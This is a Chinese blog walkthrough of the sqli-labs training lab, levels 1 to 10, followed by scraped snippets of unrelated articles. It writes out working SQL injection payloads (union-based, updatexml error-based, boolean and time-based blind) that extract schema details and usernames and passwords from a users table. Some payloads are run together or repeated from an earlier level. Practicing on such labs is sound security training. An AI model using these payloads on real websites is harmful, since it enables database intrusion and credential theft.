当前位置: 首页 > news >正文

sqli-lab靶场通关

文章目录

  • less-1
  • less-2
  • less-3
  • less-4
  • less-5
  • less-6
  • less-7
  • less-8
  • less-9
  • less-10

less-1

1、提示输入参数id,且值为数字;
在这里插入图片描述
在这里插入图片描述

2、判断是否存在注入点

	id=1'

在这里插入图片描述

报错,说明存在 SQL注入漏洞。

3、判断字符型还是数字型
在这里插入图片描述

	id=1 and 1=1 --+id=1 and 1=2 --+id=1" --+

注意,注释#可能没有--+好使

在这里插入图片描述

在这里插入图片描述

两次页面返回均正常,说明为字符型注入。

下面判断闭合类型:
在这里插入图片描述

也可以从报错的地方看出是单引号闭合。

在这里插入图片描述

可以看出是单引号闭合。
综上,该关卡属于字符型注入,且闭合符号为单引号。

4、判断字段数

	id=1' order by 3 --+

在这里插入图片描述

字段数为三,也就是说sql查询的结果中,有三列数据。

5、查看回显点

	id=-1' union select 1,2,3 --+

在这里插入图片描述

注意:要确保union select前面的语句,也就是id在数据库中是不存在的,才会看到回显点。

6、查看数据库名

	id=-1' union select 1,(select database()),3 --+

在这里插入图片描述

可以得到数据库名为security.

7、查看表名

	id=-1' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema='security'),3 --+

在这里插入图片描述

可以看出security表中,有四张表。

8、查看字段名

	id=-1' union select 1,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'),3 --+

在这里插入图片描述

9、查看字段值

	id=-1' union select 1,(select group_concat(concat(username,'%23',password)) from security.users),3 --+

在这里插入图片描述

下面主要介绍思路,就不全流程走完了。

less-2

在这里插入图片描述
1、判断是否存在注入漏洞

	id=1' 

在这里插入图片描述

说明存在SQL注入漏洞。

2、判断字符型还是数字型

	id=1 and 1=1 --+id=1 and 1=2 --+

在这里插入图片描述
在这里插入图片描述

说明属于数字型注入。

3、判断字段数

	id=1 order by 3 --+

在这里插入图片描述>后面的步骤和前一关一样,在这里不在赘述。

less-3

1、用单引号判断是否存在sql注入。
在这里插入图片描述

说明存在sql注入漏洞。

2、判断字符型还是数字型
在这里插入图片描述
在这里插入图片描述

返回正常,说明属于字符型注入。

下面确定闭合符号:
在这里插入图片描述

从这里看出,后端代码是在id值后面加了'),再进行查询的。
所以,闭合符号为')

在这里插入图片描述
在这里插入图片描述

less-4

用单引号判断是否存在sql注入。
在这里插入图片描述

单引号不行,试试双引号,

在这里插入图片描述

说明存在SQL注入漏洞。单引号没反应,只能说明此处的闭合方式没用到单引号,试试其他符号。

在这里插入图片描述

从这里可以看出,闭合方式是双引号+单括号。最外面的那个单引号是为了区分其他无关报错信息。
在这里插入图片描述

less-5

用单引号判断是否存在SQL注入漏洞
在这里插入图片描述

可以看到,存在SQL注入漏洞,且闭合符号为单引号。

在这里插入图片描述

因为页面没有回显,所以,这里,我们不能用联合查询,需要用盲注。

在这里插入图片描述

在这里插入图片描述

可以看到,此处只有两种页面显示,可以使用布尔盲注;
因为有报错,所以也可以使用报错注入。

使用盲注,直接判断数据库长度

	id=1' and length(database())=8 --+ //判断数据库名长度

在这里插入图片描述

说明当前数据库名的长度为8,这里就不演示布尔盲注,太麻烦了~盲注。

这里使用报错注入进行演示:
(1)查数据库名

	id=1' and updatexml(1,concat(0x7e,(select database()),0x7e),1) --+ 

在这里插入图片描述
(2)查表名

	id=1' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security') --+ 

在这里插入图片描述
(3)查字段名

	id=1' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'),0x7e),1) --+ 

在这里插入图片描述
(4)查字段值

	id=1' and updatexml(1,concat(0x7e,(select group_concat(concat(username,'%23',password)) from security.users),0x7e),1) --+ 

在这里插入图片描述

注意:该语句对输出的字符长度也做了限制,其最长输出32位。

less-6

单引号判断是否存在sql注入漏洞;
在这里插入图片描述
单引号不行,双引号上,成了~
在这里插入图片描述
可以看出,只有双引号闭合,故试试:
在这里插入图片描述
既然有报错,那就用报错注入吧~

查数据库名

	id=1" and updatexml(1,concat(0x7e,(select database()),0x7e),1) --+ 

在这里插入图片描述

后面就不多赘述了~

less-7

用单引号判断是否存在sql注入
在这里插入图片描述
在这里插入图片描述

页面返回不一样,所以存在SQL注入漏洞,但是没有报错也没有回显,只能使用盲注。

需要试试,出来闭合符号为'))
在这里插入图片描述

使用布尔盲注,直接判断数据库长度

	id=1')) and length(database())=8 --+ //判断数据库名长度

在这里插入图片描述

less-8

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

通过单引号判断存在 sql注入漏洞;同时,发现闭合引号就是单引号。因为此处没有报错,也没有回显,只能用布尔盲注。

使用布尔盲注,直接判断数据库长度

	id=1')) and length(database())=8 --+ //判断数据库名长度

在这里插入图片描述

less-9

这一关需要用时间盲注,payload:

	id=1 and sleep(5) --+ //数字型则等待5秒id=1' and sleep(5) --+ //字符型则等待5秒

在这里插入图片描述

可知存在SQL注入漏洞,闭合符号为单引号,且类型属于时间盲注。

使用时间盲注,直接判断数据库长度

	id=1' and if(length(database())=8,sleep(5),1) --+ //猜数据库名长度

在这里插入图片描述

数据库长度为8,后续就是一个一个字母猜数据库名,然后表名、字段名、字段内容,在这里不在赘述。

less-10

这一关与前一关得区别主要是,闭合符号换成了双引号,其余都一样。
在这里插入图片描述

相关文章:

sqli-lab靶场通关

文章目录 less-1less-2less-3less-4less-5less-6less-7less-8less-9less-10 less-1 1、提示输入参数id,且值为数字; 2、判断是否存在注入点 id1报错,说明存在 SQL注入漏洞。 3、判断字符型还是数字型 id1 and 11 --id1 and 12 --id1&quo…...

使用 Apache Camel 和 Quarkus 的微服务(五)

【squids.cn】 全网zui低价RDS,免费的迁移工具DBMotion、数据库备份工具DBTwin、SQL开发工具等 在本系列的第三部分中,我们了解了如何在 Minikube 中部署基于 Quarkus/Camel 的微服务,这是最常用的 Kubernetes 本地实现之一。虽然这样的本地…...

Ubuntu磁盘满了,导致黑屏

前言 (1)最近要玩Milk-V Duo,配置环境过程中,发现磁盘小了。于是退出虚拟机,扩大Ubuntu大小,重新开机,发现无法进入Ubuntu界面。 (2)查了很久,后面发现是磁盘…...

安装sklearn包错误解决以及 scikit-learn简介

安装sklearn包错误解决以及 scikit-learn简介 利用 pip install sklearn时出现错误 pip install sklearn Looking in indexes: https://mirrors.aliyun.com/pypi/simple/ Collecting sklearnUsing cached https://mirrors.aliyun.com/pypi/packages/b9/0e/b2a4cfaa9e12b9ca4…...

CSS点击切换或隐藏盒子的卷起、展开效果

<template><div class"main"><el-button click"onCllick">切换</el-button><transition name"slideDown"><div class"info" v-if"isShow">1111</div></transition></di…...

关于信息安全软考的一些记录1

1、网络信息安全的基本属性 机密性&#xff1a;网络信息不泄露给非授权的用户完整性&#xff1a;未经授权必能改的特性可用性&#xff1a;可以及时获取网络信息和服务的特性可控性&#xff1a;责任主体对网络信息系统具有管理、支配的能力【可管理、可支配】扛抵赖性&#xff…...

如何选择UMLChina服务

服务口号&#xff1a;聚焦最后一公里 斐力庇第斯从马拉松跑回雅典报信&#xff0c;虽然已是满身血迹、精疲力尽&#xff0c;但他知道&#xff1a;没有出现在雅典人民面前&#xff0c;前面的路程都是白费。 学到的知识如果不能最终【用】于您自己的项目之中&#xff0c;也同样是…...

关于信息安全软考的记录3

1、网络安全体系的特征 网络安全体系&#xff1a;网络安全保障系统的最高层概念抽象 特征内容整体性网络安全单元按照一定的规则&#xff0c;相互依赖、相互作用而形成人机物一体化的网络安全保护方式协同性通过各种安全机制的相互协作&#xff0c;构建系统性的网络安全保护方…...

API攻防-接口安全SOAPOpenAPIRESTful分类特征导入项目联动检测

文章目录 概述什么是接口&#xff1f; 1、API分类特征SOAP - WSDLWeb services 三种基本元素&#xff1a; OpenApi - Swagger UISpringboot Actuator 2、API检测流程Method&#xff1a;请求方法URL&#xff1a;唯一资源定位符Params&#xff1a;请求参数Authorization&#xff…...

【Docker 内核详解】namespace 资源隔离(二):UTS namespace IPC namespace

namespace 资源隔离&#xff08;二&#xff09;&#xff1a;UTS namespace & IPC namespace 1.UTS namespace UTS&#xff08;UNIX Time-sharing System&#xff09;&#xff0c;UTS namespace 提供了 主机名 和 域名 的隔离&#xff0c;这样每个 Docker 容器就可以拥有独…...

EOF() | BOF()相关题目解析

题目 设当前数据库有10条记录(记录未进行任何索引)&#xff0c;在下列3种情况下&#xff0c;当前记录号为1时&#xff1a;EOF()为真时&#xff1b;BOF()为真时&#xff0c;命令RECN()的结果分别是______。 A&#xff0e;1,11,1B&#xff0e;1,10,1C&#xff0e;1,11,0D&#xf…...

spring 注入 当有两个参数的时候 接上面

新加一个int 型的 age 记得写getset方法和构造方法 &#xff08;&#xff08;&#xff08;&#xff08;&#xff08;&#xff08;&#xff08; 构造方法的作用——无论是有参构造还是无参构造&#xff0c;他的作用都是为了方便为对象的属性初始化值 构造方法是一种特殊的方…...

博客文档续更

十、 博客前台模块-异常处理 目前我们的项目在认证出错或者权限不足的时候响应回来的Json&#xff0c;默认是使用Security官方提供的响应的格式&#xff0c;但是这种响应的格式肯定是不符合我们项目的接口规范的。所以需要自定义异常处理 我们需要去实现AuthenticationEntryP…...

OCR让点读笔如虎添翼

点读笔是一种智能学习工具&#xff0c;它可以通过识别文字来提供相应的语音或图像反馈。在实现文字识别功能时&#xff0c;点读笔通常会借助OCR&#xff08;Optical Character Recognition&#xff0c;光学字符识别&#xff09;技术。下面将详细介绍点读笔如何利用OCR技术实现文…...

棱镜七彩参编!开源领域4项团体标准正式发布

近日&#xff0c;中电标2023年第27号团体标准公告正式发布&#xff0c;《T/CESA 1270.2-2023 信息技术 开源治理 第 2 部分&#xff1a;企业治理评估模型》、《T/CESA 1270.3-2023 信息技术 开源治理 第 3 部分&#xff1a;社区治理框架》、《T/CESA 1270.5-2023 信息技术 开源…...

轻量级Composition

MEF&#xff0c;全称Managed Extensibility Framework&#xff08;托管可扩展框架&#xff09;。MEF是专门致力于解决扩展性问题的框架。MEF 位于 ComponentModel.Composition 程序集中&#xff0c;添加 System.ComponentModel.Composition 和 System.ComponentModel.Compositi…...

Vxlan网络和flannel记录

Vxlan 大二层网络&#xff0c;在三层网络中构建逻辑的2层网络 数据包经过vxlan隧道 用vni标识不同的vxlan网络&#xff08;类似于vlan的vid&#xff09; 通过vtep来封装和解封装&#xff0c;通过UDP传输 Flannel 分配子网和IP地址&#xff1a;Flannel为每个容器或虚拟机分配唯一…...

【已解决】微信小程序-苹果手机日期解析异常

在开发微信小程序时&#xff0c;使用了 uView 的 CountDown倒计时 组件和 uni.$u.timeFrom Api&#xff0c;后台传递了一个时间字符串&#xff0c;前台计算时间戳的差值&#xff0c;来显示还有多久开始&#xff0c;这个功能在模拟器和我自己手机&#xff08;iphon13&#xff09…...

Avalonia如何更改全局背景色

1.项目下载地址&#xff1a;https://gitee.com/confusedkitten/avalonia-demo 2.UI库Semi.Avalonia&#xff0c;项目地址 https://github.com/irihitech/Semi.Avalonia 3.ColorView&#xff0c;使用Semi.Avalonia.ColorPicker&#xff0c;Nuget获取就行 4.样式预览 以下是…...

万界星空科技低代码平台云MES系统功能场景

1、 工艺管理 生产工艺规程、岗位操作法、工艺卡片的编制。 生产过程的工艺条件、产品质量指标以及原材料消耗的执行检查、相关数据的统计分析。 2、 工序管理 对人、机、料、法控制&#xff0c;规定产品质量标准及有关完成方法的各项规程&#xff0c;并明确各道工序的管理负责…...

ubuntu搭建nfs服务centos挂载访问

在Ubuntu上设置NFS服务器 在Ubuntu上&#xff0c;你可以使用apt包管理器来安装NFS服务器。打开终端并运行&#xff1a; sudo apt update sudo apt install nfs-kernel-server创建共享目录 创建一个目录用于共享&#xff0c;例如/shared&#xff1a; sudo mkdir /shared sud…...

基于ASP.NET+ SQL Server实现(Web)医院信息管理系统

医院信息管理系统 1. 课程设计内容 在 visual studio 2017 平台上&#xff0c;开发一个“医院信息管理系统”Web 程序。 2. 课程设计目的 综合运用 c#.net 知识&#xff0c;在 vs 2017 平台上&#xff0c;进行 ASP.NET 应用程序和简易网站的开发&#xff1b;初步熟悉开发一…...

vue3 定时器-定义全局方法 vue+ts

1.创建ts文件 路径&#xff1a;src/utils/timer.ts 完整代码&#xff1a; import { onUnmounted } from vuetype TimerCallback (...args: any[]) > voidexport function useGlobalTimer() {const timers: Map<number, NodeJS.Timeout> new Map()// 创建定时器con…...

C# 类和继承(抽象类)

抽象类 抽象类是指设计为被继承的类。抽象类只能被用作其他类的基类。 不能创建抽象类的实例。抽象类使用abstract修饰符声明。 抽象类可以包含抽象成员或普通的非抽象成员。抽象类的成员可以是抽象成员和普通带 实现的成员的任意组合。抽象类自己可以派生自另一个抽象类。例…...

从零实现STL哈希容器:unordered_map/unordered_set封装详解

本篇文章是对C学习的STL哈希容器自主实现部分的学习分享 希望也能为你带来些帮助~ 那咱们废话不多说&#xff0c;直接开始吧&#xff01; 一、源码结构分析 1. SGISTL30实现剖析 // hash_set核心结构 template <class Value, class HashFcn, ...> class hash_set {ty…...

LLM基础1_语言模型如何处理文本

基于GitHub项目&#xff1a;https://github.com/datawhalechina/llms-from-scratch-cn 工具介绍 tiktoken&#xff1a;OpenAI开发的专业"分词器" torch&#xff1a;Facebook开发的强力计算引擎&#xff0c;相当于超级计算器 理解词嵌入&#xff1a;给词语画"…...

Android Bitmap治理全解析:从加载优化到泄漏防控的全生命周期管理

引言 Bitmap&#xff08;位图&#xff09;是Android应用内存占用的“头号杀手”。一张1080P&#xff08;1920x1080&#xff09;的图片以ARGB_8888格式加载时&#xff0c;内存占用高达8MB&#xff08;192010804字节&#xff09;。据统计&#xff0c;超过60%的应用OOM崩溃与Bitm…...

MySQL账号权限管理指南:安全创建账户与精细授权技巧

在MySQL数据库管理中&#xff0c;合理创建用户账号并分配精确权限是保障数据安全的核心环节。直接使用root账号进行所有操作不仅危险且难以审计操作行为。今天我们来全面解析MySQL账号创建与权限分配的专业方法。 一、为何需要创建独立账号&#xff1f; 最小权限原则&#xf…...

关于uniapp展示PDF的解决方案

在 UniApp 的 H5 环境中使用 pdf-vue3 组件可以实现完整的 PDF 预览功能。以下是详细实现步骤和注意事项&#xff1a; 一、安装依赖 安装 pdf-vue3 和 PDF.js 核心库&#xff1a; npm install pdf-vue3 pdfjs-dist二、基本使用示例 <template><view class"con…...

Proxmox Mail Gateway安装指南:从零开始配置高效邮件过滤系统

&#x1f49d;&#x1f49d;&#x1f49d;欢迎莅临我的博客&#xff0c;很高兴能够在这里和您见面&#xff01;希望您在这里可以感受到一份轻松愉快的氛围&#xff0c;不仅可以获得有趣的内容和知识&#xff0c;也可以畅所欲言、分享您的想法和见解。 推荐&#xff1a;「storms…...